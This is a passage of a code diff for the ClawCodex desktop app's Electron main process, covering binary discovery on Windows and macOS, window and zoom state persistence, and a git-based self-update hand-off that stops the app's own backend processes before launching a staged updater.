+            // Bare interpreter startup — much lighter than the clawcodex-import
+            // probes, but still python.exe under cold cache / AV scan, so
+            // share the probe budget rather than running unbounded (this
+            // synchronous exec previously had no timeout at all).
+            timeout: PROBE_TIMEOUT_MS
+          })
+        )
+
+        const candidate = out.trim()
+
+        if (candidate && fileExists(candidate)) {
+          return candidate
+        }
+      } catch {
+        // py couldn't find that version — try next.
+      }
+    }
+  }
+
+  // We deliberately do NOT fall back to plain `python.exe` on PATH.
+  // Without a way to verify the version safely (running `python -V`
+  // risks the Microsoft Store popup), accepting whatever's there
+  // could land us on 3.14 and trigger the Rust-build-from-source
+  // failure. Better to return null and let the NSIS prereq page
+  // offer to install a known-good 3.11 via winget.
+  return null
+}
+
+// findGitBash — locate bash.exe on Windows. Resolves CLAWCODEX_GIT_BASH_PATH
+// first (mirrors tools/environments/local.py:_find_bash), then PortableGit,
+// standard install locations, and finally PATH.
+function findGitBash() {
+  return _findGitBash({
+    isWindows: IS_WINDOWS,
+    env: process.env,
+    fileExists,
+    findOnPath
+  })
+}
+
+function getVenvPython(venvRoot) {
+  return path.join(venvRoot, IS_WINDOWS ? path.join('Scripts', 'python.exe') : path.join('bin', 'python'))
+}
+
+// Windows console-window flashes are governed by the *parent's* console, not by
+// each child spawn. A GUI-subsystem parent (pythonw.exe) has no console, so every
+// console-subsystem child it spawns (git, gh, cmd, ...) must allocate its own —
+// which flashes a window. A console-subsystem parent (python.exe) instead owns a
+// single console that all of its children inherit, so none of them flash.
+//
+// Note this change adds no new creationflag: the backend spawn is ALREADY wrapped
+// in hiddenWindowsChildOptions() (windowsHide: true), but that setting is INERT
+// against pythonw.exe — a GUI-subsystem process has no console for it to act on.
+// Switching the backend to the venv's console python.exe is what makes the
+// existing wrapper load-bearing: with windowsHide the process comes up owning a
+// *windowless* console (verified at runtime — it has an attachable console whose
+// window handle is NULL), and its children inherit that one windowless console
+// instead of each allocating a visible one.
+//
+// This makes "no flashing windows" a property of the one backend launch rather
+// than a flag that has to be remembered at every descendant spawn site. Restoring
+// console python also restores stdout, so the backend announces its port on the
+// normal CLAWCODEX_DASHBOARD_READY stdout line and no ready-file side channel is
+// needed.
+
+function makeDashboardReadyFile() {
+  const dir = path.join(app.getPath('userData'), 'backend-ready')
+  fs.mkdirSync(dir, { recursive: true })
+
+  return path.join(dir, `dashboard-${process.pid}-${Date.now()}-${crypto.randomBytes(6).toString('hex')}.json`)
+}
+
+// resolveGitBinary — locate git.exe on Windows. A fresh installer-driven
+// install only has PortableGit under %LOCALAPPDATA%\clawcodex\git (never on
+// PATH), so a bare spawn('git') ENOENTs and self-update checks fail with
+// "Couldn't check for updates". Mirror findGitBash: PortableGit first, then
+// standard Git-for-Windows locations, then PATH. Cached after first probe.
+let _gitBinaryCache = null
+
+function resolveGitBinary() {
+  if (_gitBinaryCache) {
+    return _gitBinaryCache
+  }
+
+  if (!IS_WINDOWS) {
+    _gitBinaryCache = findOnPath('git') || 'git'
+
+    return _gitBinaryCache
+  }
+
+  const localAppData = process.env.LOCALAPPDATA || ''
+  const candidates = []
+
+  if (localAppData) {
+    candidates.push(path.join(localAppData, 'clawcodex', 'git', 'cmd', 'git.exe'))
+    candidates.push(path.join(localAppData, 'clawcodex', 'git', 'bin', 'git.exe'))
+  }
+
+  candidates.push(path.join(process.env['ProgramFiles'] || 'C:\\Program Files', 'Git', 'cmd', 'git.exe'))
+  candidates.push(path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Git', 'cmd', 'git.exe'))
+
+  if (localAppData) {
+    candidates.push(path.join(localAppData, 'Programs', 'Git', 'cmd', 'git.exe'))
+  }
+
+  _gitBinaryCache = candidates.find(fileExists) || findOnPath('git') || 'git'
+
+  return _gitBinaryCache
+}
+
+// resolveGhBinary — locate the GitHub CLI. GUI-launched apps get a minimal PATH
+// that omits Homebrew (/opt/homebrew/bin, /usr/local/bin) where `gh` usually
+// lives, so a bare spawn('gh') ENOENTs even though `gh` works in the user's
+// terminal. Check the common install locations first, then PATH. Cached.
+let _ghBinaryCache = null
+
+function resolveGhBinary() {
+  if (_ghBinaryCache) {
+    return _ghBinaryCache
+  }
+
+  const candidates = []
+
+  if (IS_WINDOWS) {
+    candidates.push(path.join(process.env['ProgramFiles'] || 'C:\\Program Files', 'GitHub CLI', 'gh.exe'))
+
+    if (process.env.LOCALAPPDATA) {
+      candidates.push(path.join(process.env.LOCALAPPDATA, 'Microsoft', 'WinGet', 'Links', 'gh.exe'))
+    }
+  } else {
+    const home = app.getPath('home')
+    candidates.push('/opt/homebrew/bin/gh', '/usr/local/bin/gh', '/usr/bin/gh', path.join(home, '.local', 'bin', 'gh'))
+  }
+
+  _ghBinaryCache = candidates.find(fileExists) || findOnPath('gh') || 'gh'
+
+  return _ghBinaryCache
+}
+
+function recentClawCodexLog() {
+  return clawcodexLog.slice(-20).join('\n')
+}
+
+// ─── Self-update (git-pull against the running backend's clawcodex root) ──────
+
+function readDesktopUpdateConfig() {
+  try {
+    const parsed = JSON.parse(fs.readFileSync(DESKTOP_UPDATE_CONFIG_PATH, 'utf8'))
+    const branch = typeof parsed?.branch === 'string' ? parsed.branch.trim() : ''
+
+    return { branch: branch || DEFAULT_UPDATE_BRANCH }
+  } catch {
+    return { branch: DEFAULT_UPDATE_BRANCH }
+  }
+}
+
+// Atomic file write: temp + rename (atomic on all platforms). Prevents
+// partial writes on crash/power loss that corrupt JSON config files.
+function writeFileAtomic(targetPath, data, encoding?: BufferEncoding) {
+  const tmp = targetPath + '.tmp'
+  fs.writeFileSync(tmp, data, encoding)
+  fs.renameSync(tmp, targetPath)
+}
+
+function writeDesktopUpdateConfig(config) {
+  fs.mkdirSync(path.dirname(DESKTOP_UPDATE_CONFIG_PATH), { recursive: true })
+  writeFileAtomic(DESKTOP_UPDATE_CONFIG_PATH, JSON.stringify(config, null, 2))
+}
+
+// ─── Main-window geometry persistence (window-state.json) ──────────────────
+
+function readWindowState() {
+  try {
+    return sanitizeWindowState(JSON.parse(fs.readFileSync(DESKTOP_WINDOW_STATE_PATH, 'utf8')))
+  } catch {
+    return null
+  }
+}
+
+// Persist the window's restored (non-maximized) bounds plus its maximized flag.
+// getNormalBounds() keeps the pre-maximize size, so un-maximizing next session
+// lands back where the user actually sized the window.
+function persistWindowState() {
+  if (!mainWindow || mainWindow.isDestroyed() || mainWindow.isMinimized()) {
+    return
+  }
+
+  try {
+    const { x, y, width, height } = mainWindow.getNormalBounds()
+    fs.mkdirSync(path.dirname(DESKTOP_WINDOW_STATE_PATH), { recursive: true })
+    writeFileAtomic(
+      DESKTOP_WINDOW_STATE_PATH,
+      JSON.stringify({ x, y, width, height, isMaximized: mainWindow.isMaximized() }, null, 2)
+    )
+  } catch (err) {
+    rememberLog(`[window-state] persist failed: ${err?.message || err}`)
+  }
+}
+
+// resized/moved fire many times mid-drag on Linux; debounce to one write.
+const schedulePersistWindowState = debounce(persistWindowState, 250)
+
+// Zoom's primary store is a main-process JSON file. The renderer localStorage
+// mirror lives under Electron's cache/storage folders, which crash recovery
+// can move or recreate — wiping the zoom setting exactly when the user just
+// recovered from a crash (#56726). JSON survives; localStorage is kept as a
+// secondary mirror so pre-JSON installs migrate transparently on first read.
+const DESKTOP_ZOOM_STATE_PATH = path.join(app.getPath('userData'), 'zoom-state.json')
+
+function readZoomState() {
+  try {
+    const raw = JSON.parse(fs.readFileSync(DESKTOP_ZOOM_STATE_PATH, 'utf8'))
+    const level = Number(raw?.zoomLevel)
+
+    return Number.isFinite(level) ? level : null
+  } catch {
+    return null
+  }
+}
+
+function writeZoomState(zoomLevel) {
+  try {
+    fs.mkdirSync(path.dirname(DESKTOP_ZOOM_STATE_PATH), { recursive: true })
+    writeFileAtomic(DESKTOP_ZOOM_STATE_PATH, JSON.stringify({ zoomLevel }, null, 2))
+  } catch (error) {
+    rememberLog(`[zoom] json persist failed: ${error?.message || error}`)
+  }
+}
+
+// Match the backend's source resolution but bias toward a real git checkout.
+// Dev → SOURCE_REPO_ROOT. Packaged/CLI install → ACTIVE_CLAWCODEX_ROOT.
+// CLAWCODEX_DESKTOP_CLAWCODEX_ROOT always wins so devs can pin a worktree.
+function resolveUpdateRoot() {
+  const candidates = [
+    process.env.CLAWCODEX_DESKTOP_CLAWCODEX_ROOT && path.resolve(process.env.CLAWCODEX_DESKTOP_CLAWCODEX_ROOT),
+    !IS_PACKAGED && isClawCodexSourceRoot(SOURCE_REPO_ROOT) ? SOURCE_REPO_ROOT : null,
+    isClawCodexSourceRoot(ACTIVE_CLAWCODEX_ROOT) ? ACTIVE_CLAWCODEX_ROOT : null
+  ].filter(Boolean)
+
+  return candidates.find(c => directoryExists(path.join(c, '.git'))) || candidates[0] || ACTIVE_CLAWCODEX_ROOT
+}
+
+function runGit(args, options: any = {}): Promise<{ code: number; stdout: string; stderr: string }> {
+  return new Promise((resolve, reject) => {
+    const child = spawn(
+      resolveGitBinary(),
+      IS_WINDOWS ? ['-c', 'windows.appendAtomically=false', ...args] : args,
+      hiddenWindowsChildOptions({
+        cwd: options.cwd,
+        env: { ...process.env, ...((options.env || {}) as any), GIT_TERMINAL_PROMPT: '0' },
+        stdio: ['ignore', 'pipe', 'pipe']
+      })
+    )
+
+    let stdout = ''
+    let stderr = ''
+    child.stdout.on('data', chunk => {
+      const text = chunk.toString()
+      stdout += text
+      options.onLine?.('stdout', text)
+    })
+    child.stderr.on('data', chunk => {
+      const text = chunk.toString()
+      stderr += text
+      options.onLine?.('stderr', text)
+    })
+    child.once('error', reject)
+    child.once('exit', code => resolve({ code, stdout, stderr }))
+  })
+}
+
+const firstLine = text => (text || '').split('\n').find(Boolean) || ''
+
+async function getOriginUrl(updateRoot) {
+  const origin = await runGit(['remote', 'get-url', 'origin'], { cwd: updateRoot })
+
+  return origin.code === 0 ? origin.stdout.trim() : ''
+}
+
+function emitUpdateProgress(payload) {
+  const merged = { stage: 'idle', message: '', percent: null, error: null, ...payload, at: Date.now() }
+  rememberLog(`[updates] ${merged.stage}: ${merged.message || merged.error || ''}`)
+
+  for (const window of BrowserWindow.getAllWindows()) {
+    window.webContents.send('clawcodex:updates:progress', merged)
+  }
+}
+
+// Self-heal the tracked update branch: if origin no longer publishes it (e.g.
+// bb/gui was merged into main and deleted), fall back to main and persist so
+// every later check/apply follows main — no manual flip, even for already-
+// installed clients. Read-only ls-remote probe; only flips on a definitive
+// "ref absent" (exit 2), never on a transient network error, so a flaky
+// connection can't strand a user on the wrong branch.
+async function resolveHealedBranch(updateRoot, branch) {
+  if (!branch || branch === 'main') {
+    return branch || 'main'
+  }
+
+  const originUrl = await getOriginUrl(updateRoot)
+  const remote = isOfficialSshRemote(originUrl) ? OFFICIAL_REPO_HTTPS_URL : 'origin'
+  const probe = await runGit(['ls-remote', '--exit-code', '--heads', remote, branch], { cwd: updateRoot })
+
+  if (probe.code !== 2) {
+    return branch
+  }
+
+  rememberLog(`[updates] origin/${branch} is gone (merged?); falling back to main`)
+  const config = readDesktopUpdateConfig()
+
+  if (config.branch !== 'main') {
+    writeDesktopUpdateConfig({ ...config, branch: 'main' })
+  }
+
+  return 'main'
+}
+
+async function checkUpdates() {
+  const updateRoot = resolveUpdateRoot()
+  let { branch } = readDesktopUpdateConfig()
+  const gitDir = path.join(updateRoot, '.git')
+
+  if (!directoryExists(gitDir)) {
+    return {
+      supported: false,
+      reason: 'not-a-git-checkout',
+      message: `${updateRoot} isn't a git checkout — desktop self-update only runs against a source install.`,
+      clawcodexRoot: updateRoot,
+      branch
+    }
+  }
+
+  branch = await resolveHealedBranch(updateRoot, branch)
+  const originUrl = await getOriginUrl(updateRoot)
+
+  if (isOfficialSshRemote(originUrl)) {
+    const git = args => runGit(args, { cwd: updateRoot }).then(r => r.stdout.trim())
+
+    const [currentSha, target, dirtyStr, currentBranch] = await Promise.all([
+      git(['rev-parse', 'HEAD']),
+      runGit(['ls-remote', OFFICIAL_REPO_HTTPS_URL, `refs/heads/${branch}`], { cwd: updateRoot }),
+      git(['status', '--porcelain']),
+      git(['rev-parse', '--abbrev-ref', 'HEAD'])
+    ])
+
+    const targetSha = firstLine(target.stdout).split(/\s+/)[0] || ''
+
+    if (target.code !== 0 || !targetSha) {
+      return {
+        supported: true,
+        branch,
+        error: 'fetch-failed',
+        message: firstLine(target.stderr) || 'git ls-remote failed.',
+        clawcodexRoot: updateRoot,
+        fetchedAt: Date.now()
+      }
+    }
+
+    return {
+      supported: true,
+      branch,
+      currentBranch,
+      behind: currentSha && currentSha === targetSha ? 0 : 1,
+      currentSha,
+      targetSha,
+      commits: [],
+      dirty: dirtyStr.length > 0,
+      clawcodexRoot: updateRoot,
+      fetchedAt: Date.now()
+    }
+  }
+
+  const fetched = await runGit(['fetch', '--quiet', 'origin', branch], { cwd: updateRoot })
+
+  if (fetched.code !== 0) {
+    return {
+      supported: true,
+      branch,
+      error: 'fetch-failed',
+      message: firstLine(fetched.stderr) || 'git fetch failed.',
+      clawcodexRoot: updateRoot,
+      fetchedAt: Date.now()
+    }
+  }
+
+  const git = args => runGit(args, { cwd: updateRoot }).then(r => r.stdout.trim())
+
+  const [currentSha, targetSha, dirtyStr, currentBranch, shallowStr, mergeBaseStr] = await Promise.all([
+    git(['rev-parse', 'HEAD']),
+    git(['rev-parse', `origin/${branch}`]),
+    git(['status', '--porcelain']),
+    git(['rev-parse', '--abbrev-ref', 'HEAD']),
+    git(['rev-parse', '--is-shallow-repository']),
+    // merge-base exits non-zero with empty stdout when HEAD shares no common
+    // ancestor with the freshly fetched tip — exactly the shallow-clone case.
+    git(['merge-base', 'HEAD', `origin/${branch}`])
+  ])
+
+  const isShallow = shallowStr === 'true'
+  const hasMergeBase = Boolean(mergeBaseStr)
+
+  // Only enumerate the commit count when it is meaningful. On a shallow checkout
+  // with no merge-base, `rev-list --count` walks the entire remote ancestry
+  // (thousands of commits, see #51922) and resolveBehindCount discards the
+  // result anyway in favour of a SHA compare — so skip the expensive query.
+  const countStr = shouldCountCommits({ isShallow, hasMergeBase })
+    ? await git(['rev-list', `HEAD..origin/${branch}`, '--count'])
+    : ''
+
+  const behind = resolveBehindCount({
+    countStr,
+    currentSha,
+    targetSha,
+    isShallow,
+    hasMergeBase
+  })
+
+  const commits = behind > 0 ? await readCommitLog(updateRoot, branch) : []
+
+  return {
+    supported: true,
+    branch,
+    currentBranch,
+    behind,
+    currentSha,
+    targetSha,
+    commits,
+    dirty: dirtyStr.length > 0,
+    clawcodexRoot: updateRoot,
+    fetchedAt: Date.now()
+  }
+}
+
+async function readCommitLog(cwd, branch) {
+  const SEP = '\x1f'
+  const REC = '\x1e'
+
+  const { stdout } = await runGit(
+    ['log', `HEAD..origin/${branch}`, `--pretty=format:%H${SEP}%s${SEP}%an${SEP}%at${REC}`, '-n', '40'],
+    { cwd }
+  )
+
+  return stdout
+    .split(REC)
+    .map(line => line.trim())
+    .filter(Boolean)
+    .map(line => {
+      const [sha, summary, author, at] = line.split(SEP)
+
+      return { sha, summary, author, at: Number.parseInt(at, 10) * 1000 }
+    })
+}
+
+let updateInFlight = false
+
+// Set to true when the desktop is about to quit so a detached swap/install/
+// uninstall script can take over. On macOS, app.quit() closes windows but
+// window-all-closed deliberately keeps the process alive (standard Electron
+// macOS convention). Without this flag the process never exits — the detached
+// hand-off script spins its PID-wait for the full timeout, and the user sees a
+// blank app with no window (and an uninstall that appears to do nothing). When
+// set, window-all-closed calls app.quit() on every platform so the process
+// actually dies and the hand-off script can proceed immediately.
+let isQuittingForHandoff = false
+
+// Quit-guard latches: one while the confirmation is on screen (a second
+// Cmd-Q must not stack dialogs), one after the user has said "quit anyway"
+// (the app.quit() that follows re-enters before-quit and must pass through).
+let quitPromptOpen = false
+let quitConfirmedWithActiveWork = false
+
+// Resolve the staged updater binary the desktop may hand an update to. On
+// Windows that binary owns ALL repo mutation — running `clawcodex update` +
+// rebuilding the desktop — so the desktop never touches its own bits while
+// running. macOS/Linux stage the same binary but deliberately do not use it;
+// see resolveStagedUpdaterBinary for the policy and for #74836. Returns null
+// whenever no hand-off applies; callers degrade gracefully.
+function resolveUpdaterBinary() {
+  return resolveStagedUpdaterBinary(CLAWCODEX_CONFIG_DIR, { fileExists, isWindows: IS_WINDOWS })
+}
+
+function repairMacUpdaterHelper(updater) {
+  if (!IS_MAC || !updater) {
+    return
+  }
+
+  try {
+    execFileSync('/usr/bin/xattr', ['-cr', updater], { stdio: 'ignore' })
+  } catch (err) {
+    rememberLog(`[updates] macOS updater helper quarantine repair skipped: ${err.message}`)
+  }
+
+  try {
+    execFileSync('/usr/bin/codesign', ['--verify', updater], { stdio: 'ignore' })
+
+    return
+  } catch {
+    // Unsigned or invalid helper. Apply a local ad-hoc signature so Gatekeeper
+    // does not block the staged updater before it can run.
+  }
+
+  try {
+    execFileSync('/usr/bin/codesign', ['--force', '--sign', '-', updater], { stdio: 'ignore' })
+    rememberLog('[updates] repaired macOS updater helper signature')
+  } catch (err) {
+    rememberLog(`[updates] macOS updater helper signature repair skipped: ${err.message}`)
+  }
+}
+
+// Path to the venv shim whose lock decides whether `clawcodex update` can write
+// fresh entry points. On Windows this is the file the running backend
+// `clawcodex.exe` holds open; on POSIX it's never mandatory-locked.
+function venvClawCodexShimPath(updateRoot) {
+  return IS_WINDOWS
+    ? path.join(updateRoot, 'venv', 'Scripts', 'clawcodex.exe')
+    : path.join(updateRoot, 'venv', 'bin', 'clawcodex')
+}
+
+// Best-effort lock probe mirroring the Rust updater's is_locked(): a running
+// .exe on Windows refuses an O_RDWR open with a sharing violation. On POSIX
+// this practically always succeeds (no mandatory locking), so it returns false
+// — correct, since the shim-contention brick is Windows-only.
+function isShimLocked(shimPath) {
+  if (!IS_WINDOWS) {
+    return false
+  }
+
+  let fd
+
+  try {
+    fd = fs.openSync(shimPath, 'r+')
+
+    return false
+  } catch (err) {
+    // ENOENT ⇒ not there ⇒ nothing locking it. Anything else (EBUSY/EPERM/
+    // EACCES) on Windows means a live handle holds it.
+    return err && err.code !== 'ENOENT'
+  } finally {
+    if (fd !== undefined) {
+      try {
+        fs.closeSync(fd)
+      } catch {
+        void 0
+      }
+    }
+  }
+}
+
+// Force-kill the entire process TREE rooted at each PID. Node's child.kill()
+// only signals the direct child, so on Windows a backend `clawcodex.exe` that
+// spawned its own grandchildren (a `clawcodex` REPL, a pty terminal session, the
+// gateway) would survive and keep the venv shim locked. taskkill /T /F reaps
+// the whole tree synchronously. Windows-only: this is called solely from the
+// Windows shim-unlock path, and the backend is NOT spawned detached (so it's
+// not a process-group leader — a POSIX negative-pgid kill would be meaningless
+// here anyway). POSIX teardown stays with the existing before-quit SIGTERM.
+function forceKillProcessTree(pid) {
+  if (!IS_WINDOWS) {
+    return
+  }
+
+  if (!Number.isInteger(pid) || pid <= 0) {
+    return
+  }
+
+  try {
+    execFileSync('taskkill', ['/PID', String(pid), '/T', '/F'], hiddenWindowsChildOptions({ stdio: 'ignore' }))
+  } catch {
+    // Already gone, or no permission — best effort; the unlock wait below is
+    // the real gate.
+  }
+}
+
+// Before handing off the update on Windows, the desktop MUST stop every backend
+// it spawned and WAIT for the venv shim to actually unlock. The old code did
+// `clawcodexProcess.kill('SIGTERM')` + `app.quit()` fire-and-forget: SIGTERM on
+// Windows doesn't reap the backend's grandchildren, and quit didn't wait for
+// teardown, so the updater raced a still-locked `clawcodex.exe`, the quarantine
+// rename failed, uv's `pip install` hit "Access is denied", and the git path
+// bailed into a full ZIP re-download that ALSO couldn't write the locked shim —
+// a half-applied install (ryanc's update.log). Here we tree-kill the primary +
+// pool backends and poll the shim until it's writable (or a bounded timeout),
+// so by the time we spawn the updater the lock is genuinely gone.
+//
+// Windows-only: the venv-shim mandatory lock is a Windows phenomenon. On
+// macOS/Linux there's no REPLACE-on-running-exe block, the existing before-quit
+// SIGTERM + app.quit() teardown already works (the macOS path is flawless), and
+// aggressively SIGKILL-ing the backend here would be an untested behavior change
+// for no benefit. So we no-op off Windows and leave that path exactly as it was.
+async function releaseBackendLockForUpdate(updateRoot) {
+  return releaseBackendLock(updateRoot, 'updates')
+}
+
+// Shared backend teardown + venv-shim unlock wait. Used by BOTH the self-update
+// hand-off and the desktop uninstaller — they have the identical Windows
+// problem: the desktop's backend (and the grandchildren IT spawned — a clawcodex
+// REPL, a pty terminal, the gateway) keep `clawcodex.exe` and other files in the
+// venv mandatory-locked, so any in-place replace/delete of the install tree
+// races a live handle and half-fails (#37532). We tree-kill every backend PID
+// the desktop owns, then poll the shim until it's genuinely writable.
+//
+// `tag` only flavors the log lines. No-op off Windows (POSIX has no mandatory
+// locks — the before-quit SIGTERM + the cleanup script's own PID-wait suffice).
+async function releaseBackendLock(updateRoot, tag) {
+  if (!IS_WINDOWS) {
+    return { unlocked: true }
+  }
+
+  // Collect every backend PID the desktop owns: primary window backend + pool.
+  const pids = []
+  const clawcodexProcess = backendConnectionState.getProcess()
+
+  if (clawcodexProcess && Number.isInteger(clawcodexProcess.pid)) {
+    pids.push(clawcodexProcess.pid)
+  }
+
+  for (const entry of backendPool.values()) {
+    if (entry.process && Number.isInteger(entry.process.pid)) {
+      pids.push(entry.process.pid)
+    }
+  }
+
+  // Graceful first (lets Python flush), then tree-kill to catch grandchildren.
+  if (clawcodexProcess && !clawcodexProcess.killed) {
+    try {
+      clawcodexProcess.kill('SIGTERM')
+    } catch {
+      void 0
+    }
+  }
+
+  stopAllPoolBackends()
+
+  for (const pid of pids) {
+    forceKillProcessTree(pid)
+  }
+
+  const shim = venvClawCodexShimPath(updateRoot)
+  const deadlineMs = Date.now() + 15000
+
+  while (Date.now() < deadlineMs) {
+    if (!isShimLocked(shim)) {
+      rememberLog(`[${tag}] venv shim unlocked; safe to proceed`)
+
+      return { unlocked: true }
+    }
+
+    // A supervised backend can respawn between kill and check (grandchildren,
+    // pool entries registered mid-teardown). Re-collect and re-kill each pass
+    // instead of trusting the initial sweep.
+    const stragglers = []
+
+    const currentClawCodexProcess = backendConnectionState.getProcess()
+
+    if (currentClawCodexProcess && Number.isInteger(currentClawCodexProcess.pid)) {
+      stragglers.push(currentClawCodexProcess.pid)
+    }
+
+    for (const entry of backendPool.values()) {
+      if (entry.process && Number.isInteger(entry.process.pid)) {
+        stragglers.push(entry.process.pid)
+      }
+    }
+
+    for (const pid of stragglers) {
+      forceKillProcessTree(pid)
+    }
+
+    await new Promise(r => setTimeout(r, 300))
+  }
+
+  // Do NOT proceed past a held lock: handing off to the updater while another
+  // process (a second desktop window, a user terminal, an unkillable child)
+  // still maps the venv's files guarantees a half-updated venv — the updater's
+  // dependency sync dies on access-denied partway through uninstalls, leaving
+  // imports broken (the July 2026 brotlicffi/_sodium.pyd incidents). Failing
+  // the update loudly and keeping the app running is strictly better than a
+  // bricked install that needs manual venv surgery.
+  rememberLog(
+    `[${tag}] venv shim still locked after 15s; aborting hand-off (something outside this app holds the venv)`
+  )
+
+  return { unlocked: false }
+}
+
+// applyUpdates — hand off to the installer's --update flow, then exit.
+//
+// The desktop is a pure consumer: it does NOT git pull / pip install / rebuild
+// itself (the old open-coded git dance lived here and drifted from
+// `clawcodex update`). Instead we spawn the staged ClawCodex-Setup binary with
+// --update and quit, so it can run `clawcodex update` (which refuses while we
+// hold the venv shim) and rebuild the desktop with our exe already gone.
+//
+// Detection (checkUpdates / commit changelog / "N behind") stays in the UI;
+// only this apply action changed.
+async function applyUpdates(opts = {}) {
+  if (updateInFlight) {
+    throw new Error('An update is already in progress.')
+  }
+
+  updateInFlight = true
+
+  try {
+    const updater = resolveUpdaterBinary()
+
+    if (!updater && !IS_WINDOWS) {
+      // macOS/Linux: never hand off, staged clawcodex-setup or not — the resolver
+      // returns null there by policy. Unlike Windows (where a venv-shim file
+      // lock forces the quit→hand-off→rebuild dance), there's no mandatory file
+      // locking here, so the desktop can drive the whole update itself:
+      // `clawcodex update` (backend) + `clawcodex desktop --build-only` (OS-aware GUI
+      // rebuild), then swap the running .app bundle with the freshly built one
+      // and relaunch.
+      return await applyUpdatesPosixInApp(opts)
+    }
+
+    if (!updater) {
+      // No staged updater binary — this is a CLI-installed user (they ran
+      // `clawcodex desktop`, never the Tauri installer that self-copies
+      // clawcodex-setup.exe into CLAWCODEX_CONFIG_DIR). They DO have a working `clawcodex`
+      // on PATH / in the venv, so the correct path is the one-liner in their
+      // native medium. We show the EXACT command, branch-pinned to the
+      // checkout they're on — bare `clawcodex update` defaults to main and would
+      // silently switch a bb/gui (or any non-main) install off-branch. Mirror
+      // the GUI button's contract: append --branch <current> for non-main
+      // checkouts, keep it bare for main so the card stays clean.
+      const updateRoot = resolveUpdateRoot()
+      let command = 'clawcodex update'
+
+      try {
+        const head = await runGit(['rev-parse', '--abbrev-ref', 'HEAD'], { cwd: updateRoot })
+        const current = (head.stdout || '').trim()
+
+        if (head.code === 0 && current && current !== 'HEAD') {
+          const branch = await resolveHealedBranch(updateRoot, current)
+
+          if (branch !== 'main') {
+            command = `clawcodex update --branch ${branch}`
+          }
+        }
+      } catch {
+        // Best-effort: fall back to bare `clawcodex update` if branch detection fails.
+      }
+
+      rememberLog(`[updates] no staged updater; surfacing manual \`${command}\` for CLI install at ${updateRoot}`)
+      emitUpdateProgress({ stage: 'manual', message: command, percent: null })
+
+      return { ok: true, manual: true, command, clawcodexRoot: updateRoot }
+    }
+
+    const handoffConflict = updateHandoffConflict(CLAWCODEX_CONFIG_DIR)
+
+    if (handoffConflict) {
+      // A different updater already owns the marker — most often a previous
+      // "Update" click whose updater is still alive and parked mid-run.
+      // Spawning another here would overwrite its claim and let two updaters
+      // mutate the checkout at once (#75778); refuse instead.
+      rememberLog(`[updates] refusing hand-off: ${handoffConflict.message}`)
+      emitUpdateProgress({ stage: 'error', message: handoffConflict.message, percent: null })
+
+      return { ok: false, error: 'update-already-running', message: handoffConflict.message }
+    }
+
+    emitUpdateProgress({
+      stage: 'restart',
+      message:
+        'Updating ClawCodex — this window will close and the updater will open. Don’t reopen ClawCodex yourself; it restarts automatically when the update finishes.',
+      percent: 100
+    })
+    repairMacUpdaterHelper(updater)
+
+    const updateRoot = resolveUpdateRoot()
+    const { branch: configuredBranch } = readDesktopUpdateConfig()
+    const branch = await resolveHealedBranch(updateRoot, configuredBranch || DEFAULT_UPDATE_BRANCH)
+    const updaterArgs = ['--update', '--branch', branch]
+    const targetApp = IS_MAC ? runningAppBundle() : null
+
+    if (targetApp) {
+      updaterArgs.push('--target-app', targetApp)
+    }
+
+    const venvBin = path.join(updateRoot, 'venv', IS_WINDOWS ? 'Scripts' : 'bin')
+
+    // ── Pre-flight state.db integrity guard (#68474) ─────────────────
+    // Emergency backup and header verification before the update touches
+    // anything.  Runs while the backend is still alive.
+    preflightStateDb(CLAWCODEX_CONFIG_DIR, rememberLog)
+
+    // Stop our own backend(s) and wait for the venv shim to unlock BEFORE we
+    // spawn the updater. Without this the updater races a still-locked
+    // clawcodex.exe (held by the backend child / its grandchildren) and the update
+    // bricks. See releaseBackendLockForUpdate for the full failure analysis.
+    const lock = await releaseBackendLockForUpdate(updateRoot)
+
+    if (!lock.unlocked) {
+      // Something OUTSIDE this app holds the venv (a second window, a user
+      // terminal running clawcodex, an unkillable child). Handing off anyway
+      // guarantees a half-updated venv — abort loudly instead and let the
+      // user close the holder and retry. Restart our own backend so the app
+      // keeps working after the failed attempt.
+      const message =
+        'Update aborted: another process is holding the ClawCodex install open ' +
+        '(a second ClawCodex window or a terminal running clawcodex?). Close it and retry.'
+
+      emitUpdateProgress({ stage: 'error', message, percent: null })
+      startClawCodex().catch(() => {})
+
+      return { ok: false, error: message }
+    }
+
+    // Preflight: after releasing our own backends, check for remaining
+    // ClawCodex processes running from this venv.  The updater normally refuses
+    // when it detects a holder, but because the updater is spawned detached
+    // with stdio:ignore, the user never sees that refusal and the update
+    // silently fails.  This preflight detects holders early and gives the
+    // user an actionable error.  Windows-only; the .pyd lock hazard is a
+    // Windows phenomenon.  ALL failures (blocked, missing python, timeout,
+    // malformed output, missing psutil) abort the handoff — never proceed
+    // to the detached updater when the venv state is unknown.
+    if (IS_WINDOWS) {
+      const scanOutcome = await scanVenvBlockers(updateRoot)
+
+      if (scanOutcome.kind === 'blocked') {
+        const message = formatBlockerMessage(scanOutcome.result)
+
+        rememberLog(`[updates] venv-blocked: ${scanOutcome.result.processes.length} process(es) hold the install`)
+        emitUpdateProgress({ stage: 'error', message, percent: null })
+        startClawCodex().catch(() => {})
+
+        return { ok: false, error: 'venv-blocked', message }
+      }
+
+      if (scanOutcome.kind === 'probe-failure') {
+        const message = formatProbeFailedMessage()
+
+        rememberLog(`[updates] venv-blocker probe failed: ${scanOutcome.error}`)
+        emitUpdateProgress({ stage: 'error', message, percent: null })
+        startClawCodex().catch(() => {})
+
+        return { ok: false, error: 'venv-probe-failed', message }
+      }
+    }
+
+    // Detached so the updater outlives this process — it needs us GONE before
+    // `clawcodex update` will run (the venv shim is locked while we live).
+    const child = spawnUpdaterProcess(updater, updaterArgs, {
+      cwd: CLAWCODEX_CONFIG_DIR,
+      env: {
+        ...process.env,
+        CLAWCODEX_CONFIG_DIR,
+        PATH: pathWithClawCodexManagedNode(venvBin)
+      },
+      detached: true,
+      stdio: 'ignore'
+    })
+
+    // Write the update-in-progress marker IMMEDIATELY — before the 2.5s
+    // quit dwell. The Tauri updater won't write its own marker for several
+    // seconds (window init + manifest), and during that gap our renderer
+    // can reconnect and spawn a fresh backend that re-locks .pyd files in
+    // the venv. By writing the marker ourselves the renderer's
+    // waitForUpdateToFinish() gate sees a live update and parks instead.
+    // The updater overwrites this with its own PID later; same format.
+    //
+    // SKIPPED for pre-#74782 staged updaters: those have no self-PID
+    // exclusion, so they read this very marker as a foreign live owner and
+    // abort with "Another ClawCodex update is already running (PID <itself>)" —
